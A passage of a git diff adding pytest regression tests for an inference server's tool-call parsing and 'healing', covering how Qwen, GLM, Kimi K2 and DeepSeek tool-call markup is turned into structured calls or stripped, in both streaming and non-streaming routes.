+    async def _drive(self, monkeypatch, upstream):
+        import routes.inference as inf_mod
+        from routes.inference import _anthropic_passthrough_non_streaming
+
+        client = ScriptedClient([upstream])
+        monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client)
+        response = await _anthropic_passthrough_non_streaming(
+            _llama_backend(),
+            [{"role": "user", "content": "hi"}],
+            [LOOKUP_TOOL],
+            0.7,
+            0.95,
+            None,
+            256,
+            "msg_test",
+            "gguf",
+        )
+        return json.loads(response.body)
+
+    def test_mixed_declared_and_undeclared_relays_undeclared_as_text(self, monkeypatch):
+        async def _run():
+            content = f"Running now. {LOOKUP_XML} then {XML_UNDECLARED} done."
+            data = await self._drive(monkeypatch, _upstream_message(content))
+            # Declared lookup call is promoted into a structured tool_use block.
+            (tool_use,) = [b for b in data["content"] if b["type"] == "tool_use"]
+            assert tool_use["name"] == "lookup"
+            text = " ".join(b["text"] for b in data["content"] if b["type"] == "text")
+            assert XML_UNDECLARED in text
+            assert "Running now." in text and "done." in text
+            assert LOOKUP_XML not in text
+
+        asyncio.run(_run())
+
+
+class TestAnthropicEmitterHealing:
+    def _events(
+        self,
+        emitter,
+        chunks,
+        finish = True,
+    ):
+        lines = []
+        for chunk in chunks:
+            lines += emitter.feed_chunk(chunk)
+        if finish:
+            lines += emitter.finish()
+        return [json.loads(ln.split("data: ", 1)[1]) for ln in lines if "data: " in ln]
+
+    def _emitter(
+        self,
+        allowed = ("lookup",),
+        **kwargs,
+    ):
+        from core.inference.anthropic_compat import AnthropicPassthroughEmitter
+
+        emitter = AnthropicPassthroughEmitter()
+        emitter.enable_healing(set(allowed), **kwargs)
+        return emitter
+
+    def _chunk(
+        self,
+        content = None,
+        tool_calls = None,
+        finish_reason = None,
+    ):
+        delta = {}
+        if content is not None:
+            delta["content"] = content
+        if tool_calls is not None:
+            delta["tool_calls"] = tool_calls
+        return {"choices": [{"delta": delta, "finish_reason": finish_reason}]}
+
+    def test_xml_becomes_tool_use_block_and_stop_reason(self):
+        events = self._events(
+            self._emitter(),
+            [
+                self._chunk(content = LOOKUP_XML),
+                self._chunk(finish_reason = "stop"),
+            ],
+        )
+        starts = [e for e in events if e.get("type") == "content_block_start"]
+        (tool_start,) = [e for e in starts if e["content_block"]["type"] == "tool_use"]
+        assert tool_start["content_block"]["name"] == "lookup"
+        assert tool_start["content_block"]["id"].startswith("toolu_")
+        (args,) = [
+            e["delta"]["partial_json"]
+            for e in events
+            if e.get("type") == "content_block_delta" and e["delta"]["type"] == "input_json_delta"
+        ]
+        assert json.loads(args) == {"q": "x"}
+        (message_delta,) = [e for e in events if e.get("type") == "message_delta"]
+        assert message_delta["delta"]["stop_reason"] == "tool_use"
+
+    def test_mid_block_signal_closes_text_block_first(self):
+        events = self._events(
+            self._emitter(),
+            [
+                self._chunk(content = f"Let me check {LOOKUP_XML}"),
+                self._chunk(finish_reason = "stop"),
+            ],
+        )
+        kinds = [
+            (e["type"], (e.get("content_block") or e.get("delta") or {}).get("type"))
+            for e in events
+            if e["type"].startswith("content_block")
+        ]
+        # text opens, streams the safe prefix, closes; then the tool_use block.
+        assert kinds[0] == ("content_block_start", "text")
+        assert kinds[1] == ("content_block_delta", "text_delta")
+        assert kinds[2] == ("content_block_stop", None)
+        assert kinds[3] == ("content_block_start", "tool_use")
+        texts = [
+            e["delta"]["text"]
+            for e in events
+            if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta"
+        ]
+        assert "".join(texts) == "Let me check "
+
+    def test_false_alarm_streams_as_text(self):
+        events = self._events(
+            self._emitter(),
+            [self._chunk(content = "use the <div> tag"), self._chunk(finish_reason = "stop")],
+        )
+        texts = [
+            e["delta"]["text"]
+            for e in events
+            if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta"
+        ]
+        assert "".join(texts) == "use the <div> tag"
+        (message_delta,) = [e for e in events if e.get("type") == "message_delta"]
+        assert message_delta["delta"]["stop_reason"] == "end_turn"
+
+    def test_signal_split_across_chunks(self):
+        events = self._events(
+            self._emitter(),
+            [
+                self._chunk(content = "<tool"),
+                self._chunk(content = '_call>{"name":"lookup","arguments":{}}'),
+                self._chunk(finish_reason = "stop"),
+            ],
+        )
+        starts = [e for e in events if e.get("type") == "content_block_start"]
+        assert [e["content_block"]["type"] for e in starts] == ["tool_use"]
+        texts = [
+            e
+            for e in events
+            if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta"
+        ]
+        assert texts == []
+
+    def test_max_tokens_wins_over_healed_stop_reason(self):
+        events = self._events(
+            self._emitter(),
+            [self._chunk(content = LOOKUP_XML), self._chunk(finish_reason = "length")],
+        )
+        (message_delta,) = [e for e in events if e.get("type") == "message_delta"]
+        assert message_delta["delta"]["stop_reason"] == "max_tokens"
+
+    def test_structured_deltas_disable_healing_and_flush(self):
+        structured = [
+            {
+                "index": 0,
+                "id": "call_up",
+                "function": {"name": "lookup", "arguments": "{}"},
+            }
+        ]
+        events = self._events(
+            self._emitter(),
+            [
+                self._chunk(content = "held <tool"),
+                self._chunk(tool_calls = structured),
+                self._chunk(finish_reason = "tool_calls"),
+            ],
+        )
+        texts = [
+            e["delta"]["text"]
+            for e in events
+            if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta"
+        ]
+        assert "".join(texts) == "held <tool"  # nothing swallowed
+        starts = [e for e in events if e.get("type") == "content_block_start"]
+        assert [e["content_block"]["type"] for e in starts] == ["text", "tool_use"]
+
+    def test_disable_parallel_caps_healed_calls(self):
+        two = LOOKUP_XML + '<tool_call>{"name":"lookup","arguments":{"q":"y"}}</tool_call>'
+        events = self._events(
+            self._emitter(disable_parallel_tool_use = True),
+            [self._chunk(content = two), self._chunk(finish_reason = "stop")],
+        )
+        starts = [
+            e
+            for e in events
+            if e.get("type") == "content_block_start" and e["content_block"]["type"] == "tool_use"
+        ]
+        assert len(starts) == 1
+
+    def test_disable_parallel_drops_native_after_healed(self):
+        # A healed call consumed the single allowed slot; a later native
+        # structured call (index 0, so it survives the caller's chunk-level
+        # cap) must not open a second tool_use block.
+        structured = [
+            {
+                "index": 0,
+                "id": "call_up",
+                "function": {"name": "lookup", "arguments": "{}"},
+            }
+        ]
+        events = self._events(
+            self._emitter(disable_parallel_tool_use = True),
+            [
+                self._chunk(content = LOOKUP_XML),
+                self._chunk(tool_calls = structured),
+                self._chunk(finish_reason = "tool_calls"),
+            ],
+        )
+        starts = [
+            e
+            for e in events
+            if e.get("type") == "content_block_start" and e["content_block"]["type"] == "tool_use"
+        ]
+        assert len(starts) == 1
+
+    def test_no_healing_means_verbatim_text(self):
+        from core.inference.anthropic_compat import AnthropicPassthroughEmitter
+
+        emitter = AnthropicPassthroughEmitter()  # enable_healing never called
+        events = self._events(
+            emitter,
+            [self._chunk(content = LOOKUP_XML), self._chunk(finish_reason = "stop")],
+        )
+        texts = [
+            e["delta"]["text"]
+            for e in events
+            if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta"
+        ]
+        assert "".join(texts) == LOOKUP_XML
+
+
+class TestAnthropicNonStreamingRoute:
+    async def _drive(
+        self,
+        monkeypatch,
+        bodies,
+        auto_heal = None,
+        tools = None,
+        tool_choice = "auto",
+    ):
+        import routes.inference as inf_mod
+        from routes.inference import _anthropic_passthrough_non_streaming
+
+        client = ScriptedClient(bodies)
+        monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client)
+        response = await _anthropic_passthrough_non_streaming(
+            _llama_backend(),
+            [{"role": "user", "content": "hi"}],
+            tools if tools is not None else [LOOKUP_TOOL],
+            0.7,
+            0.95,
+            None,
+            256,
+            "msg_test",
+            "gguf",
+            tool_choice = tool_choice,
+            auto_heal_tool_calls = auto_heal,
+        )
+        return client, json.loads(response.body)
+
+    def test_promotes_xml_to_tool_use(self, monkeypatch):
+        async def _run():
+            _, data = await self._drive(monkeypatch, [_upstream_message(LOOKUP_XML)])
+            (block,) = [b for b in data["content"] if b["type"] == "tool_use"]
+            assert block["name"] == "lookup"
+            assert block["input"] == {"q": "x"}
+            assert data["stop_reason"] == "tool_use"
+            assert not any(b["type"] == "text" for b in data["content"])
+
+        asyncio.run(_run())
+
+    def test_opt_out_keeps_legacy_strip(self, monkeypatch):
+        async def _run():
+            _, data = await self._drive(
+                monkeypatch, [_upstream_message(f"plan {LOOKUP_XML}")], auto_heal = False
+            )
+            assert data["stop_reason"] == "end_turn"
+            (block,) = data["content"]
+            assert block["type"] == "text"
+            assert block["text"] == "plan"  # XML stripped, nothing promoted
+
+        asyncio.run(_run())
+
+    def test_undeclared_tool_not_promoted(self, monkeypatch):
+        async def _run():
+            xml = '<tool_call>{"name":"rogue","arguments":{}}</tool_call>'
+            _, data = await self._drive(monkeypatch, [_upstream_message(xml)])
+            assert data["stop_reason"] == "end_turn"
+            assert not any(b["type"] == "tool_use" for b in data["content"])
+            # Healing preserves what it does not promote: the undeclared call
+            # reaches the client as text instead of being silently stripped.
+            (text_block,) = [b for b in data["content"] if b["type"] == "text"]
+            assert text_block["text"] == xml
+
+        asyncio.run(_run())
+
+    def test_mixed_undeclared_text_preserved_after_heal(self, monkeypatch):
+        async def _run():
+            # Declared call promoted to tool_use; the undeclared call's markup
+            # stays in the text block (the legacy strip must not run after a
+            # span-exact heal), matching the OpenAI passthrough.
+            rogue = '<tool_call>{"name":"rogue","arguments":{}}</tool_call>'
+            _, data = await self._drive(monkeypatch, [_upstream_message(f"{LOOKUP_XML} {rogue}")])
+            (tool_block,) = [b for b in data["content"] if b["type"] == "tool_use"]
+            assert tool_block["name"] == "lookup"
+            (text_block,) = [b for b in data["content"] if b["type"] == "text"]
+            assert rogue in text_block["text"]
+            assert data["stop_reason"] == "tool_use"
+
+        asyncio.run(_run())
+
+    def test_length_beats_tool_use(self, monkeypatch):
+        async def _run():
+            _, data = await self._drive(
+                monkeypatch, [_upstream_message(LOOKUP_XML, finish_reason = "length")]
+            )
+            assert data["stop_reason"] == "max_tokens"
+            assert any(b["type"] == "tool_use" for b in data["content"])
+
+        asyncio.run(_run())
+
+    def test_tool_choice_none_keeps_legacy_strip(self, monkeypatch):
+        async def _run():
+            # Anthropic {"type": "none"} arrives here converted to "none":
+            # the request forbade tool calls, so nothing is promoted and the
+            # legacy XML strip applies as before healing existed.
+            _, data = await self._drive(
+                monkeypatch,
+                [_upstream_message(f"plan {LOOKUP_XML}")],
+                tool_choice = "none",
+            )
+            assert data["stop_reason"] == "end_turn"
+            (block,) = data["content"]
+            assert block["type"] == "text"
+            assert block["text"] == "plan"
+
+        asyncio.run(_run())
+
+
+class TestOpenaiStreamingRoute:
+    def test_heals_streamed_xml(self, monkeypatch):
+        async def _run():
+            pieces = ["<tool_call>", '{"name":"lookup",', '"arguments":{"q":"x"}}', "</tool_call>"]
+            lines = [
+                'data: {"id":"c1","model":"gguf","created":1,"choices":[{"index":0,"delta":{"content":%s}}]}'
+                % json.dumps(p)
+                for p in pieces
+            ]
+            lines += [
+                'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(), lines)
+            payloads = _stream_payloads(chunks)
+            tool_deltas = [
+                tc
+                for p in payloads
+                for c in p.get("choices", [])
+                for tc in (c.get("delta") or {}).get("tool_calls") or []
+            ]
+            (call,) = tool_deltas
+            assert call["function"]["name"] == "lookup"
+            assert json.loads(call["function"]["arguments"]) == {"q": "x"}
+            finishes = [
+                c["finish_reason"]
+                for p in payloads
+                for c in p.get("choices", [])
+                if c.get("finish_reason")
+            ]
+            assert finishes == ["tool_calls"]
+            # None of the XML leaked as visible content.
+            text = "".join(
+                (c.get("delta") or {}).get("content") or ""
+                for p in payloads
+                for c in p.get("choices", [])
+            )
+            assert "<tool_call>" not in text
+            assert chunks[-1] == "data: [DONE]\n\n"
+
+        asyncio.run(_run())
+
+    def test_parallel_cap_drops_native_after_healed(self, monkeypatch):
+        async def _run():
+            # parallel_tool_calls=false: a healed call consumed the single
+            # allowed slot, and the upstream SSE cap keeps native index 0, so
+            # the route must drop the later native call itself.
+            xml = '<tool_call>{"name":"lookup","arguments":{"q":"x"}}</tool_call>'
+            native = (
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"tool_calls":'
+                '[{"index":0,"id":"call_up","type":"function","function":'
+                '{"name":"lookup","arguments":"{}"}}]}}]}'
+            )
+            lines = [
+                'data: {"id":"c1","model":"gguf","created":1,"choices":'
+                '[{"index":0,"delta":{"content":%s}}]}' % json.dumps(xml),
+                native,
+                'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(parallel_tool_calls = False), lines)
+            payloads = _stream_payloads(chunks)
+            tool_deltas = [
+                tc
+                for p in payloads
+                for c in p.get("choices", [])
+                for tc in (c.get("delta") or {}).get("tool_calls") or []
+            ]
+            (call,) = tool_deltas
+            assert call["id"] == "call_0"  # the healed call; native was dropped
+
+        asyncio.run(_run())
+
+    def test_false_alarm_text_flushes(self, monkeypatch):
+        async def _run():
+            lines = [
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"content":"use the <div> tag"}}]}',
+                'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(), lines)
+            payloads = _stream_payloads(chunks)
+            text = "".join(
+                (c.get("delta") or {}).get("content") or ""
+                for p in payloads
+                for c in p.get("choices", [])
+            )
+            assert text == "use the <div> tag"
+            finishes = [
+                c["finish_reason"]
+                for p in payloads
+                for c in p.get("choices", [])
+                if c.get("finish_reason")
+            ]
+            assert finishes == ["stop"]
+
+        asyncio.run(_run())
+
+    def test_incomplete_xml_healed_at_done(self, monkeypatch):
+        async def _run():
+            # No close tag and no finish chunk: healed at the [DONE] boundary,
+            # synthetic finish must say tool_calls.
+            lines = [
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"content":"<tool_call>{\\"name\\":\\"lookup\\",\\"arguments\\":{}}"}}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(), lines)
+            payloads = _stream_payloads(chunks)
+            tool_deltas = [
+                tc
+                for p in payloads
+                for c in p.get("choices", [])
+                for tc in (c.get("delta") or {}).get("tool_calls") or []
+            ]
+            assert len(tool_deltas) == 1
+            finishes = [
+                c["finish_reason"]
+                for p in payloads
+                for c in p.get("choices", [])
+                if c.get("finish_reason")
+            ]
+            assert finishes == ["tool_calls"]
+
+        asyncio.run(_run())
+
+    def test_structured_upstream_calls_relay_verbatim(self, monkeypatch):
+        async def _run():
+            line = (
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"tool_calls":'
+                '[{"index":0,"id":"call_up","type":"function","function":'
+                '{"name":"lookup","arguments":"{}"}}]}}]}'
+            )
+            lines = [
+                line,
+                'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(), lines)
+            assert chunks[0] == line + "\n\n"  # byte-for-byte relay
+
+        asyncio.run(_run())
+
+
+class TestHealerSignalAlignment:
+    """The passthrough healer buffers only formats its parser can promote.
+    The loops' bare [ARGS] rehearsal signal is gated on active tool names
+    there; ungated in the healer it would stall legitimate prose until
+    finalization without ever producing a promotable call."""
+
+    def test_heal_signals_are_promotable_formats_only(self):
+        from core.inference.passthrough_healing import _HEAL_SIGNALS
+        assert set(_HEAL_SIGNALS) == {
+            "<tool_call>",
+            "<|tool_call>",
+            "<function=",
+            "[TOOL_CALLS]",
+        }
+
+    def test_prose_with_bare_args_marker_streams_through(self):
+        healer = StreamToolCallHealer({"Bash"})
+        chunks = [
+            "Use the pattern foo",
+            "[ARGS] in templates when calling tools, ",
+            "and remember to close it.",
+        ]
+        streamed = ""
+        for chunk in chunks:
+            streamed += _events_text(healer.feed(chunk))
+        # Incremental relay: nothing withheld for finalize.
+        assert streamed == "".join(chunks)
+        final = healer.finalize()
+        assert not _events_calls(final)
+        assert not healer.healed
+
+    def test_bracket_tool_calls_still_promote_in_stream(self):
+        healer = StreamToolCallHealer({"web_search"})
+        events = healer.feed('[TOOL_CALLS]web_search{"query": "unsloth docs"}') + healer.finalize()
+        (call,) = _events_calls(events)
+        assert call["function"]["name"] == "web_search"
+        assert healer.healed
diff --git a/studio/backend/tests/test_pr5624_regressions.py b/studio/backend/tests/test_pr5624_regressions.py
new file mode 100644
index 0000000000..4f5471675c
--- /dev/null
+++ b/studio/backend/tests/test_pr5624_regressions.py
@@ -0,0 +1,1011 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""
+Regression tests for PR #5624 (DeepSeek R1/V3.x, GLM 4.x, Kimi K2 tool
+parsing). Each test pins a specific edge case surfaced during the
+review:
+
+* GLM string-vs-JSON-encoded value coercion (template emits strings
+  raw and non-strings JSON-encoded; the parser must not coerce a
+  bare string ``"42"`` into ``42``).
+* GLM ``<arg_value>`` containing a literal ``<`` (e.g. ``if x < 10``).
+* Kimi K2 dotted name ``functions.my.tool:0`` keeps its full name
+  (``my.tool``) after stripping only the ``functions.`` prefix and
+  ``:idx`` suffix, while the full id is preserved on the call.
+* Kimi K2 bare-counter id (no ``functions.`` prefix, no ``:IDX``) is
+  dropped rather than surfaced under a numeric name.
+* DeepSeek V3.1 truncated mid-stream produces an empty result without
+  raising.
+* ``routes.inference._strip_tool_xml`` strips the DeepSeek envelope and
+  the Kimi section markers added by this PR.
+"""
+
+import json
+
+import pytest
+
+from core.inference.tool_call_parser import (
+    parse_tool_calls_from_text,
+    strip_tool_markup,
+)
+
+
+# GLM string-vs-JSON-encoded value coercion (finding B in plan)
+
+
+@pytest.mark.parametrize(
+    "raw_val, expected_python",
+    [
+        # Bare numeric / bool / null shapes are still treated as JSON
+        # literals (ambiguous with strings; the template doesn't tell us).
+        ("42", 42),
+        ("true", True),
+        ("false", False),
+        ("null", None),
+        ("3.14", 3.14),
+        ("-7", -7),
+        ("1e3", 1000.0),
+    ],
+)
+def test_glm_numeric_and_bool_literals_are_json_decoded(raw_val, expected_python):
+    text = (
+        "<tool_call>n\n"
+        f"<arg_key>v</arg_key>\n"
+        f"<arg_value>{raw_val}</arg_value>\n"
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["v"] == expected_python
+
+
+@pytest.mark.parametrize(
+    "raw_val",
+    [
+        "hello world",  # plain prose
+        "True",  # Python literal, NOT JSON -- no longer eaten by ast.literal_eval
+        "None",  # Python literal, NOT JSON -- no longer eaten by ast.literal_eval
+        "if x < 10: pass",  # code with literal < (well, < not in arg_value here)
+        "{not valid json",  # looks like an object but is malformed -- must stay raw
+        "[oops",  # looks like an array but is malformed
+    ],
+)
+def test_glm_non_json_shapes_stay_raw(raw_val):
+    text = (
+        "<tool_call>n\n"
+        f"<arg_key>v</arg_key>\n"
+        f"<arg_value>{raw_val}</arg_value>\n"
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["v"] == raw_val
+    assert isinstance(args["v"], str)
+
+
+def test_glm_json_object_arg_decoded():
+    text = (
+        "<tool_call>nest\n"
+        "<arg_key>opts</arg_key>\n"
+        '<arg_value>{"limit": 10}</arg_value>\n'
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["opts"] == {"limit": 10}
+
+
+def test_glm_json_array_arg_decoded():
+    text = (
+        "<tool_call>nest\n"
+        "<arg_key>ids</arg_key>\n"
+        "<arg_value>[1, 2, 3]</arg_value>\n"
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["ids"] == [1, 2, 3]
+
+
+def test_glm_arg_value_with_literal_less_than():
+    text = (
+        "<tool_call>run\n"
+        "<arg_key>code</arg_key>\n"
+        "<arg_value>if x < 10: pass</arg_value>\n"
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["code"] == "if x < 10: pass"
+
+
+# GLM 4.7 no-newline emission shape
+
+
+def test_glm_4_7_no_newlines_between_name_and_arg_key():
+    """GLM 4.7 strips the ``\\n`` after the name (``{{- ... -}}`` in the
+    template) so ``<arg_key>`` follows directly. Parser must accept both."""
+    text = (
+        "<tool_call>get_weather"
+        "<arg_key>city</arg_key><arg_value>London</arg_value>"
+        "<arg_key>units</arg_key><arg_value>celsius</arg_value>"
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "get_weather"
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args == {"city": "London", "units": "celsius"}
+
+
+def test_glm_4_7_no_newlines_multi_call():
+    """Back-to-back GLM 4.7 calls without intervening newlines."""
+    text = (
+        "<tool_call>a<arg_key>x</arg_key><arg_value>1</arg_value></tool_call>"
+        "<tool_call>b<arg_key>y</arg_key><arg_value>2</arg_value></tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 2
+    assert calls[0]["function"]["name"] == "a"
+    assert calls[1]["function"]["name"] == "b"
+
+
+def test_glm_4_7_does_not_break_qwen_path():
+    """Qwen ``<tool_call>{json}`` still dispatches to Qwen; GLM's
+    first-char ``[^\\n<{]`` excludes ``{``."""
+    text = '<tool_call>{"name":"web_search","arguments":{"q":"x"}}</tool_call>'
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "web_search"
+
+
+# Kimi K2 dotted name + bare counter (finding C in plan)
+
+
+def test_kimi_dotted_namespace_keeps_full_dotted_name():
+    # A dotted Kimi id keeps its FULL name; only the ``functions.`` prefix and ``:idx`` suffix drop (vLLM parity).
+    text = (
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.my.tool:0"
+        "<|tool_call_argument_begin|>{}"
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "my.tool"
+    assert calls[0]["id"] == "functions.my.tool:0"
+
+
+def test_kimi_two_sections_in_one_stream_both_parse():
+    """Outer loop walks every ``<|tool_calls_section_begin|>...end|>``
+    so vLLM / SGLang parity holds even on multi-section streams."""
+    text = (
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.a:0"
+        '<|tool_call_argument_begin|>{"x":1}'
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+        " some prose between sections "
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.b:0"
+        '<|tool_call_argument_begin|>{"y":2}'
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 2
+    assert calls[0]["function"]["name"] == "a"
+    assert calls[1]["function"]["name"] == "b"
+    assert calls[0]["id"] == "functions.a:0"
+    assert calls[1]["id"] == "functions.b:0"
+
+
+def test_kimi_bare_counter_id_is_dropped():
+    """Bare-digit id (``3``) is dropped (matches vLLM); SGLang infers
+    name from schema, which we don't have at parse time."""
+    text = (
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>3"
+        "<|tool_call_argument_begin|>{}"
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert calls == []
+
+
+# DeepSeek truncated mid-stream
+
+
+def test_deepseek_v3_1_huge_truncated_body_is_linear():
+    """Adversarial input: DeepSeek envelope with no JSON brace and a
+    50k-char body. A regex-based ``[^\\n<]+?`` name capture is O(N^2)
+    here; the parser uses ``str.find`` on the sep marker so it stays
+    linear. Budget 1s to flag any future regression."""
+    import time as _time
+
+    text = "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>fn<｜tool▁sep｜>" + "x" * 50_000
+    start = _time.time()
+    calls = parse_tool_calls_from_text(text)
+    elapsed = _time.time() - start
+    assert elapsed < 1.0, f"V3 path is non-linear: {elapsed:.2f}s"
+    assert calls == []
+
+
+def test_deepseek_r1_huge_fenceless_body_is_linear():
+    """R1 detection used a greedy ``([^\\n]+)\\n```json`` regex that is O(N^2) on a
+    fence-less body of repeated ``function<sep>`` tokens. The parser now scans with
+    ``str.find``; budget 1s to flag any regression."""
+    import time as _time
+
+    text = "<｜tool▁calls▁begin｜>" + "function<｜tool▁sep｜>a" * 40_000
+    start = _time.time()
+    calls = parse_tool_calls_from_text(text)
+    elapsed = _time.time() - start
+    assert elapsed < 1.0, f"R1 path is non-linear: {elapsed:.2f}s"
+    assert calls == []
+
+
+def test_glm_unclosed_body_many_arg_keys_is_linear():
+    """An unclosed GLM ``<tool_call>`` body runs to EOF; a lazy-group ``finditer``
+    over many bare ``<arg_key>`` tokens was O(N^2). The parser now walks pairs with
+    ``str.find``; budget 1s."""
+    import time as _time
+
+    text = "<tool_call>foo\n" + "<arg_key>k" * 40_000
+    start = _time.time()
+    parse_tool_calls_from_text(text)
+    elapsed = _time.time() - start
+    assert elapsed < 1.0, f"GLM path is non-linear: {elapsed:.2f}s"
+
+
+def test_deepseek_r1_fenced_json_parses():
+    """R1 wraps args in a ```json fence after ``function<sep>NAME``."""
+    import json as _json
+
+    text = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>get_weather\n"
+        "```json\n"
+        '{"city":"NYC","unit":"c"}\n'
+        "```<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "get_weather"
+    assert _json.loads(calls[0]["function"]["arguments"]) == {"city": "NYC", "unit": "c"}
+
+
+def test_deepseek_v3_1_truncated_arguments_drops_call_without_crash():
+    text = (
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>get_time"
+        "<｜tool▁sep｜>"
+        '{"city":"Tokyo"'  # no closing brace, no end markers
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert calls == []
+
+
+def test_deepseek_v3_1_truncated_after_end_marker_still_yields_call():
+    text = (
+        "<｜tool▁calls▁begin｜>" "<｜tool▁call▁begin｜>get_time" "<｜tool▁sep｜>" '{"city":"Tokyo"}'
+        # neither <｜tool▁call▁end｜> nor <｜tool▁calls▁end｜>
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "get_time"
+    assert json.loads(calls[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+
+# Routes-layer strip across the three new families
+
+
+def test_routes_layer_strip_removes_deepseek_envelope():
+    from routes.inference import _strip_tool_xml as _routes_strip
+
+    text = (
+        "before "
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>get_time"
+        '<｜tool▁sep｜>{"city":"Tokyo"}'
+        "<｜tool▁call▁end｜>"
+        "<｜tool▁calls▁end｜>"
+        " after"
+    )
+    stripped = _routes_strip(text)
+    assert stripped == "before  after"
+
+
+def test_routes_layer_strip_removes_kimi_section():
+    from routes.inference import _strip_tool_xml as _routes_strip
+
+    text = (
+        "before "
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"q":"x"}'
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+        " after"
+    )
+    stripped = _routes_strip(text)
+    assert stripped == "before  after"
+
+
+def test_routes_layer_strip_removes_glm_block():
+    """``<tool_call>.*?</tool_call>`` covers GLM via the Qwen pattern."""
+    from routes.inference import _strip_tool_xml as _routes_strip
+
+    text = (
+        "before "
+        "<tool_call>web_search\n"
+        "<arg_key>q</arg_key>\n<arg_value>x</arg_value>\n"
+        "</tool_call>"
+        " after"
+    )
+    stripped = _routes_strip(text)
+    assert stripped == "before  after"
+
+
+# strip_tool_markup (parser-level finalise path) over the new families
+
+
+def test_strip_tool_markup_handles_deepseek_envelope():
+    text = (
+        "before "
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>get_time"
+        '<｜tool▁sep｜>{"city":"Tokyo"}'
+        "<｜tool▁call▁end｜>"
+        "<｜tool▁calls▁end｜>"
+        " after"
+    )
+    stripped = strip_tool_markup(text, final = True)
+    assert "before" in stripped and "after" in stripped
+    assert "｜tool▁" not in stripped
+    assert "get_time" not in stripped and "Tokyo" not in stripped
+
+
+def test_strip_tool_markup_handles_kimi_section():
+    text = (
+        "before "
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"q":"x"}'
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+        " after"
+    )
+    stripped = strip_tool_markup(text, final = True)
+    assert "before" in stripped and "after" in stripped
+    assert "tool_calls_section_begin" not in stripped
+
+
+# Round-2 review findings: GLM quoted-string / unclosed-arg, DeepSeek
+# strict terminator, nested wrapper-less Gemma strip
+
+
+def test_glm_quoted_string_arg_keeps_its_quotes():
+    # A GLM string value emitted verbatim that itself begins with a quote.
+    text = (
+        "<tool_call>web_search\n"
+        "<arg_key>query</arg_key>\n"
+        '<arg_value>"exact phrase"</arg_value>\n'
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    args = json.loads(calls[0]["function"]["arguments"])
